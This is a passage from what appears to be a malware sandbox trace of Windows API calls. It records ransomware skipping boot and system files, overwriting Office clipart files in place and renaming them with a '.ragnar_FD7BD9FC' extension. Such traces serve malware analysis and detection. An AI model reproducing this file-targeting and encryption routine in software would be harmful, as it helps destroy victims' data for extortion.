office\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x20 [0082.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.701] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=68776) returned 1 [0082.701] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10c9f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.701] GetProcessHeap () returned 0x580000 [0082.701] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.701] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.702] VirtualAlloc (lpAddress=0x0, dwSize=0x10ca8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.703] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.703] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.703] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10ca8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x10ca8, lpOverlapped=0x0) returned 1 [0082.705] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.705] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10ca8, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.705] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10ca8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x10ca8, lpOverlapped=0x0) returned 1 [0082.706] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10ca8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.706] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.706] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10ca8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.706] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.706] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.706] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.706] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.706] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.706] GetProcessHeap () returned 0x580000 [0082.706] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.706] CloseHandle (hObject=0xf4) returned 1 [0082.707] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" [0082.707] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.ragnar_FD7BD9FC" [0082.707] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.707] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HTECH_01.MID", cAlternateFileName="")) returned 1 [0082.707] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.707] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HTECH_01.MID" | out: lpString1="HTECH_01.MID") returned="HTECH_01.MID" [0082.707] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned=".MID" [0082.707] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.707] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="autorun.inf") returned 1 [0082.707] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="boot.ini") returned 1 [0082.707] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="bootfont.bin") returned 1 [0082.707] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="bootsect.bak") returned 1 [0082.707] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="bootmgr") returned 1 [0082.707] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="bootmgr.efi") returned 1 [0082.707] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="bootmgfw.efi") returned 1 [0082.707] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="desktop.ini") returned 1 [0082.707] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="iconcache.db") returned -1 [0082.707] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="ntldr") returned -1 [0082.708] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="ntuser.dat") returned -1 [0082.708] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="ntuser.dat.log") returned -1 [0082.708] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="ntuser.ini") returned -1 [0082.708] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="thumbs.db") returned -1 [0082.708] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0082.708] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0082.708] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0082.708] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0082.708] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0082.708] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0082.708] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0082.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 0x20 [0082.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.708] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7178) returned 1 [0082.708] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.708] GetProcessHeap () returned 0x580000 [0082.708] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.708] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.710] VirtualAlloc (lpAddress=0x0, dwSize=0x1c0a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.710] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.710] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.710] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c0a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1c0a, lpOverlapped=0x0) returned 1 [0082.711] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.711] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c0a, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.711] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c0a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1c0a, lpOverlapped=0x0) returned 1 [0082.711] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c0a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.711] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.711] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.711] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.711] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.711] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.712] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.712] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.712] GetProcessHeap () returned 0x580000 [0082.712] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.712] CloseHandle (hObject=0xf4) returned 1 [0082.712] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" [0082.712] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.ragnar_FD7BD9FC" [0082.712] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.712] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c11ec00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c11ec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00046_.WMF", cAlternateFileName="")) returned 1 [0082.712] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.712] lstrcpyW (in: lpString1=0x1eb62e, lpString2="IN00046_.WMF" | out: lpString1="IN00046_.WMF") returned="IN00046_.WMF" [0082.712] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned=".WMF" [0082.712] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.712] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="autorun.inf") returned 1 [0082.712] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="boot.ini") returned 1 [0082.712] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="bootfont.bin") returned 1 [0082.713] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="bootsect.bak") returned 1 [0082.713] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="bootmgr") returned 1 [0082.713] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="bootmgr.efi") returned 1 [0082.713] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.713] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="desktop.ini") returned 1 [0082.713] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="iconcache.db") returned 1 [0082.713] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="ntldr") returned -1 [0082.713] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="ntuser.dat") returned -1 [0082.713] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.713] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="ntuser.ini") returned -1 [0082.713] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="thumbs.db") returned -1 [0082.713] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.713] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.713] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.713] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.713] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.713] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.713] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 0x20 [0082.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.714] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1158) returned 1 [0082.714] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x47d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.714] GetProcessHeap () returned 0x580000 [0082.714] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.714] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.715] VirtualAlloc (lpAddress=0x0, dwSize=0x486, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.715] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.716] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.716] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x486, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x486, lpOverlapped=0x0) returned 1 [0082.716] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.716] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x486, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.716] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x486, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x486, lpOverlapped=0x0) returned 1 [0082.716] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x486, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.716] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.716] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x486, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.716] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.716] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.716] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.716] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.716] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.716] GetProcessHeap () returned 0x580000 [0082.717] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.717] CloseHandle (hObject=0xf4) returned 1 [0082.717] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" [0082.717] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.ragnar_FD7BD9FC" [0082.717] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.717] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f3db00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20f3db00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00118_.WMF", cAlternateFileName="")) returned 1 [0082.717] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.717] lstrcpyW (in: lpString1=0x1eb62e, lpString2="IN00118_.WMF" | out: lpString1="IN00118_.WMF") returned="IN00118_.WMF" [0082.717] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned=".WMF" [0082.717] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.717] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="autorun.inf") returned 1 [0082.717] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="boot.ini") returned 1 [0082.717] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="bootfont.bin") returned 1 [0082.717] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="bootsect.bak") returned 1 [0082.717] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="bootmgr") returned 1 [0082.717] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="bootmgr.efi") returned 1 [0082.718] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.718] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="desktop.ini") returned 1 [0082.718] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="iconcache.db") returned 1 [0082.718] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="ntldr") returned -1 [0082.718] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="ntuser.dat") returned -1 [0082.718] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.718] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="ntuser.ini") returned -1 [0082.718] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="thumbs.db") returned -1 [0082.718] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.718] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.718] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.718] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.718] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.718] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.718] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 0x20 [0082.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.719] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=792) returned 1 [0082.719] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.719] GetProcessHeap () returned 0x580000 [0082.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.719] ReadFile (in: 